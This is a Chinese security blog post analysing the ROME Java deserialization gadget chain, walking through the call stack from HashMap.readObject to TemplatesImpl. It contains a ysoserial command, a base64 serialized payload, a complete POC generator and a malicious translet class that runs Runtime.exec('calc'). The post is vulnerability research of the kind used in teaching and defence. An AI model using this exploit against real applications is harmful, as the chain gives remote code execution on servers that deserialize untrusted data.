Rome反序列化链分析

admin 2022年5月10日22:18:10代码审计评论4 views12877字阅读42分55秒阅读模式

Rome环境搭建

如果我们想要对Rome反序列化链进行分析,那么肯定需要先导入其rome包。下载地址:http://rometools.github.io/rome/ROMEReleases/rome-1.0.jar,下载完以后导入即可。

我们可以先使用ysoserial生成payload,然后再下断点进行调试

java -jar ysoserial.jar ROME 'calc'|base64
package rome;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws IOException,ClassNotFoundException {
        String base64_exp = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz" +
                "aG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBs" +
                "Lk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGlj" +
                "YXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9z" +
                "eW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9z" +
                "dW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRp" +
                "Y2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVy" +
                "dGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5q" +
                "YXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+" +
                "AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxh" +
                "dGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5" +
                "dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGph" +
                "dmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRp" +
                "ZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAA" +
                "AAaayv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25z" +
                "dGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs" +
                "ZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5u" +
                "ZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0" +
                "UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5h" +
                "bC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIv" +
                "U2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUv" +
                "eGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFj" +
                "aGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0" +
                "aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtM" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20v" +
                "c3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRs" +
                "ZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9E" +
                "VE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVy" +
                "bmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdl" +
                "dHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJh" +
                "bnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1" +
                "bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9v" +
                "cmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2Vy" +
                "aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUH" +
                "ACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMI" +
                "ADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMK" +
                "ACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXI0MDQwMDk3MzgyMzQxOTQBACBM" +
                "eXNvc2VyaWFsL1B3bmVyNDA0MDA5NzM4MjM0MTk0OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAAC" +
                "AAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAA" +
                "AAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAA" +
                "AAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQA" +
                "AAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0A" +
                "AgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVX" +
                "sQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AFwAAAdTK/rq+AAAA" +
                "MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUF" +
                "ceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxW" +
                "YXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5" +
                "bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsH" +
                "ABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmpl" +
                "Y3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdl" +
                "dHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcA" +
                "AbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIA" +
                "FgAQAAlwdAAEUHducnB3AQB4c3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFs" +
                "c0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmpx" +
                "AH4ACXhwdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHEAfgAU" +
                "c3IAKmNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLlRvU3RyaW5nQmVhbgn1jkoPI+4xAgAC" +
                "TAAKX2JlYW5DbGFzc3EAfgAcTAAEX29ianEAfgAJeHBxAH4AH3EAfgAUc3EAfgAbdnEAfgACcQB+" +
                "AA1zcQB+ACBxAH4AI3EAfgANcQB+AAZxAH4ABnEAfgAGeA==";
        byte[] exp =  Base64.getDecoder().decode(base64_exp);
        ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
        ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
        objectInputStream.readObject();
    }
}

前置知识

ObjectBean

com.sun.syndication.feed.impl.ObjectBeanRome提供的一个封装类型, 初始化时提供了一个Class类型和一个Object对象实例进行封装

他也有三个成员变量,分别是EqualsBeanToStringBeanCloneableBean类,为ObjectBean提供了equalstoStringclone以及hashCode方法

ObjectBean#hashCode中,调用了EqualsBean类的beanHashCode方法 ----出自https://xz.aliyun.com/t/11200

ToStringBean

com.sun.syndication.feed.impl.ToStringBean是给对象提供toString方法的类, 类中有两个toString方法, 第一个是无参的方法, 获取调用链中上一个类或_obj属性中保存对象的类名, 并调用第二个toString方法. 在第二个toString方法中, 会调用BeanIntrospector#getPropertyDescriptors来获取_beanClass的所有gettersetter方法, 接着判断参数的长度, 长度等于0的方法会使用_obj实例进行反射调用, 通过这个点我们可以来触发TemplatesImpl的利用链. ----出自https://xz.aliyun.com/t/11200

调用链分析

调用栈如下

TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(MethodObjectObject[])
NativeMethodAccessorImpl.invoke(ObjectObject[])
DelegatingMethodAccessorImpl.invoke(ObjectObject[])
Method.invoke(ObjectObject...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

最开始是由HashMap触发

Rome反序列化链分析

然后是调用了key的hashcode方法,在hashcode中调用的是EqualsBean的beanHashCode方法

Rome反序列化链分析

跟进beanHashCode方法。在EqualsBean调用了自身obj属性的toString方法,这里的obj属性是一个ObjectBean对象

Rome反序列化链分析

继续跟进toString方法,继续调用ToStringBean的toString方法,跟进

Rome反序列化链分析

其代码如下,运行结果最后prefix是TemplatesImpl

public String toString() {
    Stack stack = (Stack)PREFIX_TL.get();
    String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
    String prefix;
    if (tsInfo == null) {
        String className = this._obj.getClass().getName();
        prefix = className.substring(className.lastIndexOf(".") + 1);
    } else {
        prefix = tsInfo[0];
        tsInfo[1] = prefix;
    }

    return this.toString(prefix);
}

然后就调用了自身的toString方法,把TemplatesImpl作为参数传入,最终调用到pReadMethod.invoke(this._obj,NO_PARAMS),从而触发精心构造的RCE

Rome反序列化链分析

利用链构造

开始说到,是从HashMap的readObject方法开始,通过触发key.hashcode方法触发,在结尾是调用到了ToStringBean的有参的toString方法,并且ToStringBean的_obj属性是TemplatesImpl对象,pds数组是获得ToStringBean类的_beanClass的getter和setter方法,并且方法需要无参才会进行反射调用。所以链的开始是HashMap#readObject,结尾是ToStringBean#toString。其中观察一下ObjectBean的构造函数,该构造函数是两个参数的构造函数,会调用自身三个参数的构造函数

public ObjectBean(Class beanClass, Object obj) {
    this(beanClass, obj, (Set)null);
}

三参的构造函数如下

public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
    this._equalsBean = new EqualsBean(beanClass, obj);
    this._toStringBean = new ToStringBean(beanClass, obj);
    this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}

可以看到,在初始化的时候,传入的beanClass和obj在EqualsBean和ToStringBean中分别都作为构造函数的参数传入。分别放上这两个Bean的对应的构造函数

public EqualsBean(Class beanClass, Object obj) {
    if (!beanClass.isInstance(obj)) {
        throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
    } else {
        this._beanClass = beanClass;
        this._obj = obj;
    }
}
protected ToStringBean(Class beanClass) {
    this._beanClass = beanClass;
    this._obj = this;
}

我们可以知道在最后是寻找ToStringBean类的_beanClass的无参getter和setter方法,然后反射调用,并且在ToStringBean类的无参toString方法中,className是通过className = this._obj.getClass().getName();进行获取,prefix是截取className最后一个点之后的字符串,结果是TemplatesImpl,这里的话其实_beanClass就可以确定是javax.xml.transform.Templates的class对象,_obj就是TemplatesImpl对象,我们就可以来构造利用链了。

所以poc如下

package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class POC {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class aClass = templates.getClass();
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        Field name = aClass.getDeclaredField("_name");
        Field tfactory = aClass.getDeclaredField("_tfactory");
        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);
        byte[] bytes= Files.readAllBytes(Paths.get("C:\Users\86155\Desktop\java\untitled4\target\classes\evil.class"));
        byte[][] bytes1=new byte[][]{bytes};
        bytecodes.set(templates,bytes1);
        name.set(templates,"ch1e");
        tfactory.set(templates,new TransformerFactoryImpl());
        ObjectBean ch1e = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "ch1e"));
        HashMap hashMap = new HashMap();
        hashMap.put(ch1e,"ch1e");
        ObjectBean objectBean = new ObjectBean(Templates.class, templates);
        Class aClass1 = ObjectBean.class;
        Field equalsBean = aClass1.getDeclaredField("_equalsBean");
        equalsBean.setAccessible(true);
        equalsBean.set(ch1e,new EqualsBean(ObjectBean.class, objectBean));
        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

同时这里也是利用了TemplatesImpl,所以恶意类也需要继承AbstractTranslet,这里其实踩坑蛮久的,后面才想到

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
Rome反序列化链分析


-END-

Rome反序列化链分析如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。Rome反序列化链分析



  推荐关注:





Rome反序列化链分析
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~




原文始发于微信公众号(弱口令安全实验室):Rome反序列化链分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日22:18:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Rome反序列化链分析 http://cn-sec.com/archives/995687.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: